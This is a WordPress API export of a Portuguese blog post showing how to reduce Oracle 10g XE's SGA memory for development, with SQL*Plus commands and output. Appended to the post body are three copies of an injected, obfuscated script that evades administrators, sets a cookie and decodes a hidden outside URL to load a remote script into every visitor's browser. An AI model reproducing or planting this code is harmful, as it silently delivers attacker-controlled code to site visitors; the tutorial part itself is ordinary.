{"id":853,"date":"2010-12-22T16:09:29","date_gmt":"2010-12-22T18:09:29","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=853"},"modified":"2025-10-26T22:41:57","modified_gmt":"2025-10-27T01:41:57","slug":"otimizar-memoria-oracle-db-em-desenvolvimento","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/12\/22\/otimizar-memoria-oracle-db-em-desenvolvimento\/","title":{"rendered":"Otimizar mem\u00f3ria Oracle DB em Desenvolvimento"},"content":{"rendered":"<p style=\"text-align: justify;\">M\u00e1quina de desenvolvedor deveria ter mem\u00f3ria infinita \ud83d\ude42 ou pr\u00f3ximo disso. Como isso ainda n\u00e3o \u00e9 poss\u00edvel, utilizamos algumas maneira de otimizar o consumo de mem\u00f3ria. Vamos ver como fazer isso para o Oracle 10g XE em ambiente de desenvolvimento. N\u00e3o fa\u00e7a isso em ambientes de produ\u00e7\u00e3o! N\u00f3s iremos modificar o SGA (System Global Area) do Oracle. Para mais informa\u00e7\u00f5es sobre o que \u00e9 SGA, veja <a title=\"SGA\" href=\"http:\/\/www.dba-oracle.com\/concepts\/sga_system_global_area.htm\" target=\"_blank\" rel=\"noopener\">nesse site<\/a>.<\/p>\n<ol>\n<li>Fa\u00e7a backup do seguinte arquivo: $ORACLE_HOME\/dbs\/spfileXE.ora que \u00e9 o arquivo que iremos alterar. No meu linux ele est\u00e1 localizado em: \/usr\/lib\/oracle\/xe\/app\/oracle\/product\/10.2.0\/server\/dbs\/spfileXE.ora<\/li>\n<li>Abra o SQL Plus (Linux: \"<em>sqlplus \/nolog\"<\/em> | Windows: <em>\"sqlplus.exe \/nolog<\/em>\").<\/li>\n<li>Conecte com um usu\u00e1rio SYSDBA: <em>\"conn \/ as sysdba\"<\/em><\/li>\n<li>Verifique a SGA com o comando: \"<em>show sga\"<\/em>. Deve aparecer algo parecido com isso:\n<pre>SQL&gt; show sga\n\nTotal System Global Area\u00a0 805306368 bytes\nFixed Size\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0       1261444 bytes\nVariable Size\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0    213909628 bytes\nDatabase Buffers\u00a0\u00a0 \u00a0\u00a0     587202560 bytes\nRedo Buffers\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0     2932736 bytes<\/pre>\n<\/li>\n<li>Verifique os parametros do SGA com o comando: \"<em>show parameter sga<\/em>\".\n<pre>SQL&gt; show parameter sga\n\nNAME\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0 TYPE\u00a0\u00a0 \u00a0 VALUE\n------------------------------------ ----------- ------------------------------\nlock_sga\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0 boolean\u00a0\u00a0 \u00a0 FALSE\npre_page_sga\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0 boolean\u00a0\u00a0 \u00a0 FALSE\nsga_max_size\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0 big integer 768M\nsga_target\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0  big integer 768M<\/pre>\n<\/li>\n<li>Altere o sga_target para 130M (creio que seja mais que suficiente para m\u00e1quina de desenvolvimento): \"<em>alter system set SGA_TARGET=130M scope=spfile;<\/em>\"<\/li>\n<li>Altere o sga_max_size para 256M: \"<em>alter system set sga_max_size=256M scope=spfile;<\/em>\"<\/li>\n<li>Desligue a base: \"<em>shutdown;\"<\/em><\/li>\n<li>Ligue novamente: <em>\"startup;\"<\/em><\/li>\n<li>Execute o: \"<em>show sga<\/em>\":\n<pre>SQL&gt; show sga\n\nTotal System Global Area\u00a0 268435456 bytes\nFixed Size\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0       1258392 bytes\nVariable Size\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0    188746856 bytes\nDatabase Buffers\u00a0\u00a0 \u00a0\u00a0\u00a0     75497472 bytes\nRedo Buffers\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0     2932736 bytes<\/pre>\n<\/li>\n<li>Execute o: \"<em>show parameter sga<\/em>\":\n<pre>SQL&gt; show parameter sga\n\nNAME\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0 TYPE\u00a0\u00a0 \u00a0 VALUE\n------------------------------------ ----------- ------------------------------\nlock_sga\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0 boolean\u00a0\u00a0 \u00a0 FALSE\npre_page_sga\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0 boolean\u00a0\u00a0 \u00a0 FALSE\nsga_max_size\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0 big integer 256M\nsga_target\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 big integer 132M<\/pre>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Como podemos ver, o uso de mem\u00f3ria do SGA est\u00e1 bem reduzido. Caso voc\u00ea tenha algum problema similar a esse:<\/p>\n<blockquote><p>ORA-00604: error occurred at recursive SQL level 1<br \/>\nORA-04030: out of process memory when trying to allocate 16 bytes (sql area,kglhin: temp)<\/p><\/blockquote>\n<p style=\"text-align: justify;\">restaure o backup do arquivo spfileXE.ora e se voc\u00ea esqueceu de fazer o backup utilize o <a title=\"Reinstala\u00e7\u00e3o do Oracle-XE\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/12\/22\/desreinstalacao-do-oracle-xe\/\" target=\"_blank\" rel=\"noopener\">procedimento de reinstala\u00e7\u00e3o do oracle-xe<\/a>.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>M\u00e1quina de desenvolvedor deveria ter mem\u00f3ria infinita \ud83d\ude42 ou pr\u00f3ximo disso. Como isso ainda n\u00e3o \u00e9 poss\u00edvel, utilizamos algumas maneira de otimizar o consumo de mem\u00f3ria. Vamos ver como fazer isso para o Oracle 10g XE em ambiente de desenvolvimento. <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/12\/22\/otimizar-memoria-oracle-db-em-desenvolvimento\/\">Continue lendo  <span class=\"screen-reader-text\">  Otimizar mem\u00f3ria Oracle DB em Desenvolvimento<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[47,71],"tags":[],"class_list":["post-853","post","type-post","status-publish","format-standard","hentry","category-base-de-dados","category-oracle-base-de-dados"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/853","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=853"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/853\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=853"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=853"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=853"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}